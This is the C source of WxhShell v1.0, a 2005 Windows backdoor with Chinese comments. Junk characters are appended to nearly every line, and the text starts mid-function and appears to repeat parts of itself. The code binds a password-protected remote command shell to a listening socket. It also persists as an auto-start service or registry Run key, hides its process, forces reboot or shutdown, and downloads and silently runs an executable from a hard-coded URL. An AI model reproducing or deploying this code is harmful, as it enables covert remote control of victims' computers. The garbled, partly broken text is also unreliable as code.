  // 关机 w 7tC|^#G  
  case 'd': { OR+A_:c.D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !W1eUY  
    if(Boot(SHUTDOWN)) ] mj v;C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ui'F'"tPz  
    else { L)-*,$#<oW  
    closesocket(wsh); rbk<z\pc  
    ExitThread(0); NcL =z o<  
    } FsCwF&/q  
    break; F>:%Cyo0!  
    } 7unA"9=[4V  
  // 获取shell j$eCe< .3  
  case 's': { L2U x9_S  
    CmdShell(wsh); ~HP LV  
    closesocket(wsh); ]Sta]}VQ  
    ExitThread(0); jXEGSn  
    break; T 2bnzI i  
  } |}qjqtZ  
  // 退出 $P?{O3:V  
  case 'x': { ?^3B3qqh9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); - s|t^  
    CloseIt(wsh); @;9()ad  
    break; .]Ybp2`"U  
    } MOV =n75  
  // 离开 jA2ofC  
  case 'q': { ?;8M^a/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0]a15  
    closesocket(wsh); $T*KaX\{B  
    WSACleanup(); tL8't]M,  
    exit(1); v_-ls"l  
    break; ChIoR:y>  
        } v:P!(`sF  
  } d5, FM  
  } '?R=P  
fI[dhd6  
  // 提示信息 J%4HNW*p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4GTrI@}3  
} P`!Ak@N  
  } 'aPCb`^;w  
pSrsp r  
  return; ew"m!F#  
} >PH< N  
?W<cB`J  
// shell模块句柄 aa=b<Cd  
int CmdShell(SOCKET sock) 0HPO" x3-O  
{ a&:>Ped"  
STARTUPINFO si; 7+S44)w}~  
ZeroMemory(&si,sizeof(si)); -CElk[u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5xv,!/@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hE5G!@1F  
PROCESS_INFORMATION ProcessInfo; 3AP YO  
char cmdline[]="cmd"; o?=fhc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7n>|D^  
  return 0; QZYM9a>  
} L3>4t: 8  
P59uALi  
// 自身启动模式 PE7t_iSV  
int StartFromService(void) G%`cJdM  
{ "{6KZ!+0  
typedef struct "D!Dr1  
{ 5z[6rT=a  
  DWORD ExitStatus; o7QK8#  
  DWORD PebBaseAddress; 2?pM5n  
  DWORD AffinityMask; ~s0P FS7  
  DWORD BasePriority; $WM8tF?H  
  ULONG UniqueProcessId; 6<Be#Y]b  
  ULONG InheritedFromUniqueProcessId; tpd|y|  
}   PROCESS_BASIC_INFORMATION; vy:6_  
X~#@rg!"  
PROCNTQSIP NtQueryInformationProcess; @hBx, `H^  
PKATw>zg<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $$/S8LmmK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 34]%d<;A  
RDJ82{  
  HANDLE             hProcess; `oan,wq+  
  PROCESS_BASIC_INFORMATION pbi; hXBqz9  
),z,LU Yf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dfXV1B5  
  if(NULL == hInst ) return 0; hiT9H5 6 >  
1gL8$.B?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -1#e^9Ve\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WoJ]@Me8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [29$~.m$Y  
/}[zA@  
  if (!NtQueryInformationProcess) return 0; 6pS Rum  
WJP`0f3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r]xdhR5  
  if(!hProcess) return 0; ]IL3$eR  
9eksCxFg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I(F1S,7  
Y'\3ux0]4'  
  CloseHandle(hProcess); D_]i/ F%  
g(M(Hn7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5Xla_@WLW  
if(hProcess==NULL) return 0; CA'hvXb.  
r(748Qc4f?  
HMODULE hMod; +*]SP@|IYI  
char procName[255]; %Td+J`|U+  
unsigned long cbNeeded; ^2(";.m  
Nj"_sA p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N}e(.  
_AA`R`p;  
  CloseHandle(hProcess); `V$cz88b  
47$-5k30  
if(strstr(procName,"services")) return 1; // 以服务启动 .f[\G*   
!: `Ra  
  return 0; // 注册表启动 ~W5>;6f\  
} X*D5y8<  
rGP? E3  
// 主模块 V~tu<"%  
int StartWxhshell(LPSTR lpCmdLine) E}E7VQjM  
{ t2`X!`  
  SOCKET wsl; E$oA+n~  
BOOL val=TRUE; \3 O-} n1S  
  int port=0; ~j\;e  
  struct sockaddr_in door; t~udfOvY  
=iPd@f"$  
  if(wscfg.ws_autoins) Install(); _j|n}7a  
Sv CK;$:  
port=atoi(lpCmdLine); 8=b{'s^^F  
ahz@HX  
if(port<=0) port=wscfg.ws_port; "Hsq<oV8  
mw%[qeL V  
  WSADATA data; 4%Z\G@0<'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }*{\)7g  
()rx>?x5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +"fM &F]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KD<; ?oN<O  
  door.sin_family = AF_INET; P"[l86:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2Q;Y@%G  
  door.sin_port = htons(port); E2ayK> ,  
@O*ev| o@x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [ a65VR~J  
closesocket(wsl); @[Jt~v  
return 1; EZa{C}NQ$2  
} FcbA)7dD  
5i wikC=y  
  if(listen(wsl,2) == INVALID_SOCKET) { fQ?n(  
closesocket(wsl); a5Acqa  
return 1; 1\7"I-  
} vVvt ]h  
  Wxhshell(wsl); M,v@G$pW  
  WSACleanup(); {/[?YTDU  
1V?Sj  
return 0; k%4A::=  
2+G:04eS,e  
} cq+M *1;  
0e5-\a  
// 以NT服务方式启动 7l|>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b~jvmcr  
{  PtVNG  
DWORD   status = 0; I! eSJTN  
  DWORD   specificError = 0xfffffff; IUBps0.T\  
e7j]BzGvl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1Qc(<gM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @_weMz8}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \~1zAiSd>#  
  serviceStatus.dwWin32ExitCode     = 0; m3v* ,~  
  serviceStatus.dwServiceSpecificExitCode = 0; VRN9yn2  
  serviceStatus.dwCheckPoint       = 0; {G*:N[pJp  
  serviceStatus.dwWaitHint       = 0; p2_Zsq  
<raqp Oo&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SO jDtZ  
  if (hServiceStatusHandle==0) return; laRKt"A  
GLcZ=6)"'  
status = GetLastError(); N55=&-p  
  if (status!=NO_ERROR) ;s/b_RN  
{ }oxaB9r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9P >S[=  
    serviceStatus.dwCheckPoint       = 0;  $.]t1e7s  
    serviceStatus.dwWaitHint       = 0; Z*Hxrw\!0  
    serviceStatus.dwWin32ExitCode     = status; <rI$"=7  
    serviceStatus.dwServiceSpecificExitCode = specificError; gkn/E}K#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i3WmD@  
    return; =y(YMWGS  
  } >^ 1S26  
)BTs *7 j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5J#g JFA  
  serviceStatus.dwCheckPoint       = 0; Pds*M?&F  
  serviceStatus.dwWaitHint       = 0; (cew:z H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +Y^F>/4=Y  
} *R6eykp  
iOXP\:mPo  
// 处理NT服务事件,比如:启动、停止 umrI4.1c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C>;8`6_!gU  
{ m%(JRh  
switch(fdwControl) l6U'  
{ 9i)mv/i  
case SERVICE_CONTROL_STOP: ;= @-j@?  
  serviceStatus.dwWin32ExitCode = 0; -6Si  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K}(n;6\  
  serviceStatus.dwCheckPoint   = 0; *TI6Z$b|6  
  serviceStatus.dwWaitHint     = 0; pXlBKJmW  
  { 1mPS)X_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Nd:PnA  
  } eQIi}\`  
  return; KgAX0dM  
case SERVICE_CONTROL_PAUSE: 5j 01Mx A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Cx'=2Y7  
  break; S^n4aBm\+  
case SERVICE_CONTROL_CONTINUE: H#` ?toS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &t:MWb;  
  break; K'/x9.'%  
case SERVICE_CONTROL_INTERROGATE: 5|t&qUV  
  break; #,{v Js~  
}; HUI!IOh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q>*K/%KD  
} /7)G"qG~F~  
}X:r:{r  
// 标准应用程序主函数 ] CE2/6Ph  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2 g==98>cg  
{ raZRa*C;  
bFXCaD!{G  
// 获取操作系统版本 ;9sVWJJCw  
OsIsNt=GetOsVer(); "n-xsAG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (_<n0  
? D'-{/<4  
  // 从命令行安装 R:<AR.)K  
  if(strpbrk(lpCmdLine,"iI")) Install(); &bx,6dX  
{IwYoRaXa  
  // 下载执行文件 emO!6]0gJ  
if(wscfg.ws_downexe) { zwHsdB=v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q+N @j]'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8Qy |;T}  
} Wd<}|?R  
#2=30  
if(!OsIsNt) { @gk[sQ\O  
// 如果时win9x,隐藏进程并且设置为注册表启动 0CYI,V  
HideProc(); [%q":Ig  
StartWxhshell(lpCmdLine); o LRio.u*  
} Hc!_o`[{l  
else d|lzkY~  
  if(StartFromService()) |.yRo_  
  // 以服务方式启动 J],BO\ECH  
  StartServiceCtrlDispatcher(DispatchTable); ^2tCDm5  
else tO$M[P=b  
  // 普通方式启动 sS|5x  
  StartWxhshell(lpCmdLine); ?y kIi/  
i^Q^F  
return 0; C%h_!z":  
} s3S73fNOk  
Jr zU-g  
K;O\Pd  
ZN/")  
=========================================== IYPI5qCR  
[;+YO)  
MI 3_<[  
oizoKwp%  
c$TBHK;c  
EO^0sF<  
" O,PHAwVG%L  
ektFk"W3A\  
#include <stdio.h> J<D =\  
#include <string.h> z841g `:C  
#include <windows.h> 8[ V!e[  
#include <winsock2.h> LE"xZxe  
#include <winsvc.h> A2 r RYzN;  
#include <urlmon.h> O4{&B@!  
Rp1OC  
#pragma comment (lib, "Ws2_32.lib") )U?W+0[=  
#pragma comment (lib, "urlmon.lib") ,;g:qe3D$  
D!CGbP(  
#define MAX_USER   100 // 最大客户端连接数 G1BVI:A&S  
#define BUF_SOCK   200 // sock buffer Q{l;8MCL  
#define KEY_BUFF   255 // 输入 buffer a&JAF?k  
)yJjJ:re  
#define REBOOT     0   // 重启 `*B8IT)  
#define SHUTDOWN   1   // 关机 p O.8>C%  
m`|+_{4[n  
#define DEF_PORT   5000 // 监听端口 >ObpOFb%  
:Wln$L$  
#define REG_LEN     16   // 注册表键长度 ( s*}=  
#define SVC_LEN     80   // NT服务名长度 E^s>S,U[y  
q~Ud>{  
// 从dll定义API ;:OJQFu%4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a fjC~}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5|Uub ,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3N-(`[m{E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }v?{npEOt+  
G:UdU{  
// wxhshell配置信息 Q{RHW@_/  
struct WSCFG { ,QDq+93  
  int ws_port;         // 监听端口 hd900LA}  
  char ws_passstr[REG_LEN]; // 口令 !Lo{zTDW  
  int ws_autoins;       // 安装标记, 1=yes 0=no jU=)4nx  
  char ws_regname[REG_LEN]; // 注册表键名  W* YfyM  
  char ws_svcname[REG_LEN]; // 服务名 M9MEQK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,YH.n>`s+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K_xn>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p47~vgJN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8.@ yD^'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2- )Ml*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T]+*} C  
nV'B!q  
}; V[% r5!83H  
3B,nHU  
// default Wxhshell configuration r`5;G4UI  
struct WSCFG wscfg={DEF_PORT, Z"P{/~HG  
    "xuhuanlingzhe", SU*P@?:/}  
    1, &" b0`&l  
    "Wxhshell", t ;[Me0  
    "Wxhshell", zX3O_  
            "WxhShell Service", bw@tA7Y  
    "Wrsky Windows CmdShell Service", Q.nEY6B_  
    "Please Input Your Password: ", |^FDsJUN  
  1, ;$Wa=wHb  
  "http://www.wrsky.com/wxhshell.exe", 3p7*UVR"  
  "Wxhshell.exe" SN+&'?$WD  
    }; 9[:nW p^  
! $n^Ze2 !  
// 消息定义模块 y`'Ly@s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "5{\0CfS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7FWf,IjcGY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S6cSeRmw  
char *msg_ws_ext="\n\rExit."; ,u$$w  
char *msg_ws_end="\n\rQuit."; |%$d/<<PZ  
char *msg_ws_boot="\n\rReboot..."; p/@z4TCNX  
char *msg_ws_poff="\n\rShutdown..."; Yd]f}5F  
char *msg_ws_down="\n\rSave to "; $WdZAv\_S  
|GIT{_JE  
char *msg_ws_err="\n\rErr!"; 5"{wnnY%K}  
char *msg_ws_ok="\n\rOK!"; I(<1-3~  
? [ =P  
char ExeFile[MAX_PATH]; guBOR 0x`  
int nUser = 0; m^p Q55,   
HANDLE handles[MAX_USER]; X!r!lW  
int OsIsNt; qD 2<-E&M/  
/bg8oB4  
SERVICE_STATUS       serviceStatus; 1`b?nX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <OpiD%Ctx  
!m78/[LW  
// 函数声明 5FzG_ w  
int Install(void); N$pO] p  
int Uninstall(void); IDv@r\Xw  
int DownloadFile(char *sURL, SOCKET wsh); 2f F)I&  
int Boot(int flag); 'tF<7\!  
void HideProc(void); SxMh '  
int GetOsVer(void); r/8,4:rh  
int Wxhshell(SOCKET wsl); l~!#<=.  
void TalkWithClient(void *cs); 3"%:S_[  
int CmdShell(SOCKET sock); ^1}}-9q  
int StartFromService(void); HD Eqq  
int StartWxhshell(LPSTR lpCmdLine); a ipvG  
?zxKk(J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <PXA`]x~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |)1"*`z  
yv,90+k  
// 数据结构和表定义 k?1cxY s  
SERVICE_TABLE_ENTRY DispatchTable[] = ?DM-C5$  
{ )6Z)z;n]aW  
{wscfg.ws_svcname, NTServiceMain}, dA)7d77  
{NULL, NULL}  ,8@@r7  
}; HH8a"Hq)  
2qw~hWX  
// 自我安装 4{*K%pv\  
int Install(void) lAV6z%MmM  
{  Ws}u4t  
  char svExeFile[MAX_PATH]; L2AZ0E"ub  
  HKEY key; vP? "MG  
  strcpy(svExeFile,ExeFile); K@%.T#  
(eG#JVsm9  
// 如果是win9x系统,修改注册表设为自启动 7vgz=- MZ#  
if(!OsIsNt) { w ~Es,@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N(/DC)DJg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;\( wJ{u?Y  
  RegCloseKey(key); i5V ly'Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?\.P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Va?wG3w  
  RegCloseKey(key); Ch^Al 2)=  
  return 0; ( 8k3z`  
    } |\Jpjm)?  
  } Qq^>7OU>Co  
} 7_n@iUG2n  
else { Z6 (;~"Em  
b[VP"KZ?  
// 如果是NT以上系统,安装为系统服务 99H&#!~bSS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W/xb[w9v  
if (schSCManager!=0) 0|HD(d`a  
{ FtT+Q$q=  
  SC_HANDLE schService = CreateService !&ac}uD^g  
  ( G)iV  
  schSCManager, D@FJVF7c  
  wscfg.ws_svcname, A1>R8Zuhy  
  wscfg.ws_svcdisp, _D[vMr[  
  SERVICE_ALL_ACCESS, |Zncr9b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sf@g $  
  SERVICE_AUTO_START, l^WFMeMD3a  
  SERVICE_ERROR_NORMAL, jW"C: {Ol;  
  svExeFile, hyVuZ\9B  
  NULL, "PLZZL$+  
  NULL, R/A40i  
  NULL, \c_1uDRoUn  
  NULL, @ 4j#X  
  NULL dEJ>8e8  
  ); \{P(s:  
  if (schService!=0) hA/K>Z  
  { cdf8YN0!  
  CloseServiceHandle(schService); r8}GiP0|  
  CloseServiceHandle(schSCManager); {{SeD:hx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v.c2(w/P  
  strcat(svExeFile,wscfg.ws_svcname);  5!NK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YSs9BF:a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b-;+&Rb  
  RegCloseKey(key); nkSYW]aQ1g  
  return 0; 0".pw; .}  
    } Y*dzoN.sW  
  } ^kzw/. I{  
  CloseServiceHandle(schSCManager); /`Yp]l  
} KaZ$!JfT  
} AJI,>I,}}  
*U)!9DvA  
return 1; bWW$_S pr  
} /~K-0K#w  
oZA?}#DRl  
// 自我卸载 Yvcd(2  
int Uninstall(void) ry/AF  
{ ;SEH|_/  
  HKEY key; W52AX.Nm  
3;u*_ ]N_  
if(!OsIsNt) { .u>IjK^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w<lHY=z E  
  RegDeleteValue(key,wscfg.ws_regname); {]n5h#c 5*  
  RegCloseKey(key); e@Q<hb0<eU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KE]!7+8-  
  RegDeleteValue(key,wscfg.ws_regname); Bq#?g@V  
  RegCloseKey(key); -y1%c^36_J  
  return 0; NU-({dGK}  
  } &s>HiL>f  
} BHy#g>KUF  
} pE[ul  
else { j{C+`~O  
)3V5P%Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;3s_#L  
if (schSCManager!=0) ]2T=%(*  
{ z)='MKrEt-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uHkL$}C  
  if (schService!=0) ;H9d.D8  
  { + G#qS1  
  if(DeleteService(schService)!=0) { h3$.` >l  
  CloseServiceHandle(schService); 7?:7}xb-  
  CloseServiceHandle(schSCManager); x00"d$!  
  return 0; (30{:o&^  
  } K, ae-#wgb  
  CloseServiceHandle(schService); Iw(deD  
  } "gADHt=MIR  
  CloseServiceHandle(schSCManager); ?"]fGp6y  
} E)DdiB'Rh  
} 4\H:^U&  
( {ads_l  
return 1; (D]l/akP  
} *A':^vgk  
kz\ D-b  
// 从指定url下载文件 |kyxa2F{  
int DownloadFile(char *sURL, SOCKET wsh) Wky=]C%  
{ U$@p"F@P  
  HRESULT hr; x_CB'Rr6  
char seps[]= "/"; :A%uXgK<k  
char *token; 2s_shY<=}L  
char *file; ??5qR8n.  
char myURL[MAX_PATH]; dPwe.:  
char myFILE[MAX_PATH]; <*E{z r&  
{|c <8  
strcpy(myURL,sURL); p&ytUT na  
  token=strtok(myURL,seps); :[ z=u  
  while(token!=NULL) D_ybgX?0:  
  { S^? @vj  
    file=token; UKMr,{iy  
  token=strtok(NULL,seps); HUiW#x%;  
  } e;\g[^U  
SV}q8z\  
GetCurrentDirectory(MAX_PATH,myFILE); h4N!zj[  
strcat(myFILE, "\\"); Nlemb:'eP3  
strcat(myFILE, file); 9`yG[OA  
  send(wsh,myFILE,strlen(myFILE),0); KoZ" yD  
send(wsh,"...",3,0); H RJz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Aq@_^mq1A  
  if(hr==S_OK) - ?_aYJ  
return 0; O3WhO@`6)  
else ]S4TX  
return 1; h$.y)v  
kKFmTo   
} *jM~VTXwt  
vY0C(jK  
// 系统电源模块 ig:,:KN  
int Boot(int flag) .q$HL t  
{ *@[DG)N  
  HANDLE hToken; L/dG 0a@1X  
  TOKEN_PRIVILEGES tkp; A@-nn]  
OBaG'lrZy  
  if(OsIsNt) { (oO*|\9u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3qU#Rg ;7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ieXhOA  
    tkp.PrivilegeCount = 1; rt)70=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8##-fv]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c+chwU0W  
if(flag==REBOOT) { @9~a3k|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }mQ7N&cC  
  return 0; %> Z;/j|#r  
} Hf!o6 o  
else { '0)a|1,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k?ubr)[)  
  return 0; ka? |_(  
} 2Pn  
  } ]7 " W(  
  else { pwAawm  
if(flag==REBOOT) { 8?#4<4Ql8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZD\`~I|gp  
  return 0;  C[MZ9 r  
} o&}!bq]  
else { .v;$sst5y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1sx@Nvlb  
  return 0; Si#I^aF`%  
} {`5Sh1b  
} `t_S uZ`V  
@b[{.m U  
return 1; ]G.ttfC  
} G?$|aQ0j  
;mH O#  
// win9x进程隐藏模块 88(h`RGMh  
void HideProc(void) *y +T(73  
{ N>qOiw[  
QCB2&lN\&L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  pleLdGq  
  if ( hKernel != NULL ) 3aIP^I1  
  { Sc03vfmo"N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `k b]tf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I^erMQn[ z  
    FreeLibrary(hKernel); g-`HKoKe  
  } :xOne<@  
+-tvNX%IJ  
return; &4 Py  
} +oa\'.~?  
?/ xk  
// 获取操作系统版本 (IdXJvKU!  
int GetOsVer(void) >i^8K U  
{ (iub\`  
  OSVERSIONINFO winfo; RsV<4$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DM {r<?V  
  GetVersionEx(&winfo); X"_,#3Ko!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bk,:a,  
  return 1; #ra"(/)  
  else AX6z4G  
  return 0; 533n z8&9@  
} thG;~ W  
1>hY!nG h  
// 客户端句柄模块 n8W+q~sW%  
int Wxhshell(SOCKET wsl) e$H N/O  
{ _,*ld#'s  
  SOCKET wsh; ZH'- >/  
  struct sockaddr_in client; A+3,y<j\  
  DWORD myID; QTZf e<m0  
nnr g^F  
  while(nUser<MAX_USER) 1Rrp#E}  
{ [O)(0  
  int nSize=sizeof(client); &!/E&e$_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mocR_3=Q?  
  if(wsh==INVALID_SOCKET) return 1; ,H6*9!Dv2  
tA#7Xr+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G@s]HJ:  
if(handles[nUser]==0) mqw5\7s?  
  closesocket(wsh); 8 MUY  
else VVY#g%(K  
  nUser++; mOiA}BGw  
  } 5]C}044  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B[XVTok  
-M]NdgI  
  return 0; o1jDQ+  
} lw/zgR#|  
f P|rD[  
// 关闭 socket Po+I!TL'  
void CloseIt(SOCKET wsh) |Z\?nZ~  
{ LjZvWts?  
closesocket(wsh); ryhme\%l;f  
nUser--; LJ^n6 m|_  
ExitThread(0); =E{e|(1+u  
} :X1~  
<P)U Ggd  
// 客户端请求句柄 ;Y/{q B!  
void TalkWithClient(void *cs) l,z# : k  
{ BGk>:Z`  
IZr~h9  
  SOCKET wsh=(SOCKET)cs; =+I~K'2  
  char pwd[SVC_LEN]; <d2?A}<  
  char cmd[KEY_BUFF]; XwI~ 0  
char chr[1]; DV={bcQ  
int i,j; d4y?2p ?3  
P'EPP*)q  
  while (nUser < MAX_USER) { /g|H?F0  
E;$;g#ksf  
if(wscfg.ws_passstr) { I+qg'mo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !v^{n+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $-HP5Kj(k-  
  //ZeroMemory(pwd,KEY_BUFF); pKSn 3-A  
      i=0; 2Fi ~GY_  
  while(i<SVC_LEN) { dv?ael^  
j41)X'MgJ  
  // 设置超时 x2q6y  
  fd_set FdRead; D'{NEk@  
  struct timeval TimeOut; Z%h _g-C  
  FD_ZERO(&FdRead); GM1z@i\5  
  FD_SET(wsh,&FdRead); &E{CQ#k  
  TimeOut.tv_sec=8; nFRU-D$7  
  TimeOut.tv_usec=0; 4*j6~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y]zy=8q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R?%J   
<)hA? 3J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bOEO2v'cQ  
  pwd=chr[0]; W^a-K  
  if(chr[0]==0xd || chr[0]==0xa) { Ry$zF~[   
  pwd=0; 3YKJN4  
  break; x.5!F2$  
  } 3q$[r_   
  i++; iy<|<*s2D  
    } (-<s[VnXP  
qocN:Of1  
  // 如果是非法用户,关闭 socket \wJ2>Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _H,xnh#nZ  
} q=EHB5!q  
kp6{QKDj&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G_vcuCHm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2HNAB4 E  
}@)r\t4m  
while(1) { mp !S<m  
S7B7'[ru  
  ZeroMemory(cmd,KEY_BUFF); p#\JKx  
KQf=t0Z=Ce  
      // 自动支持客户端 telnet标准   gwA+%]  
  j=0; pmWt7 }  
  while(j<KEY_BUFF) { 8Q{"W"]O7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {h}0"5  
  cmd[j]=chr[0]; *]7$/%.D  
  if(chr[0]==0xa || chr[0]==0xd) { Y94 ^mt-  
  cmd[j]=0; X7bS{GT  
  break; 3P.v#TEst  
  } zu,F 0;De  
  j++; Qm"&=<  
    } wHT]&fZ  
y6hb-: #1  
  // 下载文件 IjPCaH.:t  
  if(strstr(cmd,"http://")) { s3/iG37K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |zkZF|-  
  if(DownloadFile(cmd,wsh)) [ ,&O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A_4.>g  
  else n9%&HDl4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1_jd1 UT  
  } *y0=sG1+D  
